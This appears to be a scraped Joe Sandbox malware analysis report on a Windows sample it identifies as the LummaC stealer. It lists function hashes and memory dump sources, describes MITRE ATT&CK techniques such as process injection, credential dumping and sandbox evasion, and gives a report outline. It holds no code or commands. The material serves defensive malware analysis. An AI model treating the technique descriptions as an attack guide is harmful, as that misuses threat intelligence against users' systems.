Instruction Fuzzy Hash: A8C08C30E890008BD24CCD20E4586B2A32AC787204F04F829841B73241D030A823964C

Function 0244BDD3 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442eb446f32366121701da6ba680cd40e77b9c4b5870bfe012b62b997df18bf5
Instruction ID: 73ed094b982ffbe57f759c249c9b193c2658cc7fce687dfbff7a88c12af005f0
Opcode Fuzzy Hash: 442eb446f32366121701da6ba680cd40e77b9c4b5870bfe012b62b997df18bf5
Instruction Fuzzy Hash: C2C08C62DC2000878209DE58A801832E230D797244B0428298423E7200F610D538884D

Function 02469631 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69aa6eab687c296c5c489e47dc283bd4e3badc2d10220e5a55240217293875f2
Instruction ID: ed7227c9be783dba0a5a4a082e7f7d40f2e86084fb6a53200ef129b23d3e610b
Opcode Fuzzy Hash: 69aa6eab687c296c5c489e47dc283bd4e3badc2d10220e5a55240217293875f2
Instruction Fuzzy Hash: 8AC09B34E9901047D24DCD14E554671F37ED787308F14F519D85677746D171E836968C

Function 024314E8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 105e1c20b90593135005e371882cd553a2091caccfbbf6185245c316fc63b732
Instruction ID: caf61d84f442c7071e77e738d4a8fd35f0c1045d2552f895cc0203d1407d4fc8
Opcode Fuzzy Hash: 105e1c20b90593135005e371882cd553a2091caccfbbf6185245c316fc63b732
Instruction Fuzzy Hash: 53C012608547008A83288F01D890031B2B0AB0B601B40290EC08A27A20E720A148C358

Function 024316B3 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c0bfdd3b26307c9b7070fd9bb995219dfc667f7f04eb458c6779047485b614
Instruction ID: 5547b6639f919e537e5542bbeecb7ddb3e398382a2591178f291febb1a36f9c8
Opcode Fuzzy Hash: 83c0bfdd3b26307c9b7070fd9bb995219dfc667f7f04eb458c6779047485b614
Instruction Fuzzy Hash: 48C04C70C847148AC3389F05E591272F3B4FF0B601F10290DC19A17A51EA38A14DD799

Function 02469445 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba303d2f3f2852f6b4625b29632908c5e0920807915d2408ab4b38a36c0fdf42
Instruction ID: 25005fc94bd30b1322204575038a8fd81ae389b51f31e0c17b50fdbf92130ccb
Opcode Fuzzy Hash: ba303d2f3f2852f6b4625b29632908c5e0920807915d2408ab4b38a36c0fdf42
Instruction Fuzzy Hash: BCC04C38E980808BC78CCE04D49547273BAF786204715B548C81513346E130D4299A68

Function 02465DD9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5287a652f13209c1a765cb51e1534cbe33e199b0bdb99671836d37b055f5652
Instruction ID: b9f5138f98946c0165c4328b3bd0742ecc2fc9cfec9e73c694f680de9baf0bac
Opcode Fuzzy Hash: f5287a652f13209c1a765cb51e1534cbe33e199b0bdb99671836d37b055f5652
Instruction Fuzzy Hash: 33B01276ECC1008BD24CCF08FC51471F338E707604B9038299477F3A81C535D6288A4C

Function 024515EF Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4b74614d4c73ea93fbd0dcac71848d04b6075fbbffeead6295d91efcb3844c4
Instruction ID: 1a08782bd6d59b16b588466ebdf51f25892dd9fd75123109d3793abbf90941a2
Opcode Fuzzy Hash: e4b74614d4c73ea93fbd0dcac71848d04b6075fbbffeead6295d91efcb3844c4
Instruction Fuzzy Hash: D3A022E0C8E00083E003CE20B800030F23C830F200F003820E00EF3202F300E02C8A0E

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Windows Analysis Report
SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Function 0244FE8B Relevance: 36.8, Strings: 29, Instructions: 505
COMMON

Function 02448349 Relevance: 11.9, Strings: 9, Instructions: 660
COMMON

Function 024534B0 Relevance: 10.4, Strings: 8, Instructions: 440
COMMON

Function 02449284 Relevance: 5.9, Strings: 4, Instructions: 931
COMMON

Function 02457BF1 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 447
COMMON

Function 02451C99 Relevance: 5.5, Strings: 4, Instructions: 528
COMMON

Function 02440F3E Relevance: 4.1, Strings: 3, Instructions: 384
COMMON

Function 0245BB9C Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 92
memoryCOMMON

Function 02465BD1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Function 0243A4B0 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 812
libraryCOMMON